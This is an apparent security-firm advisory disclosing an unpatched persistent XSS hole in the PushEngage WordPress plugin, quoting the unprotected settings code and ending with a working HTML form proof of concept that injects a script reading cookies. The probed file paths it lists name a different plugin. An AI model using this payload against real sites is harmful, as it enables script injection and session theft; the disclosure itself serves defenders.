23 Oct

Hackers May Already be Targeting this Persistent XSS Vulnerability in PushEngage

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. A month ago through that we saw an apparent ongoing hacker campaign exploiting previously undisclosed vulnerabilities involving nine plugins. It looks like that has started up again, with the plugin PushEngage being one of the new plugins. There was probing on our website today for that plugin by requesting these files:

/wp-content/plugins/astra-sites/inc/assets/js/admin-page.js
/wp-content/plugins/astra-sites/inc/assets/css/admin.css
/wp-content/plugins/astra-sites/readme.txt

In looking at the plugin we found that, like a number of the other plugins, it contains a persistent cross-site scripting (XSS) vulnerability.

The plugin registers the function pushengage_save_settings() to run during admin_init, which makes is accessible to even those not logged in to WordPress:

95
add_action( 'admin_init', array( __CLASS__, 'pushengage_save_settings' ) );

That function doesn’t do any security checks before saving the plugin’s settings:

331
332
333
334
335
336
public static function pushengage_save_settings()
{
 
	if ( isset( $_POST['action']) && $_POST['action'] == 'update_wordpress_settings')
			{
				$pushengage_settings = self::pushengage_settings();

The code lacks a capabilities checks to limit access to changing the settings to the users intended to be able to do it and a nonce check to prevent cross-site request forgery (CSRF).

There is sanitization or validation done on some of the settings, but others, including utm_campaign, lack that:

427
$utm_campaign = $_POST['utm_campaign'];

As the proof of concept below shows that value is also output without being escaped, which permits persistent cross-site scripting (XSS).

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown on the page /wp-admin/admin.php?page=pushengage-admin if the plugin has already been set up.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="update_wordpress_settings" />
<input type="hidden" name="action_settings" value="utm" />
<input type="hidden" name="utmcheckbox" />
<input type="hidden" name="utm_campaign" value='"><script>alert(document.cookie);</script>'/>
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.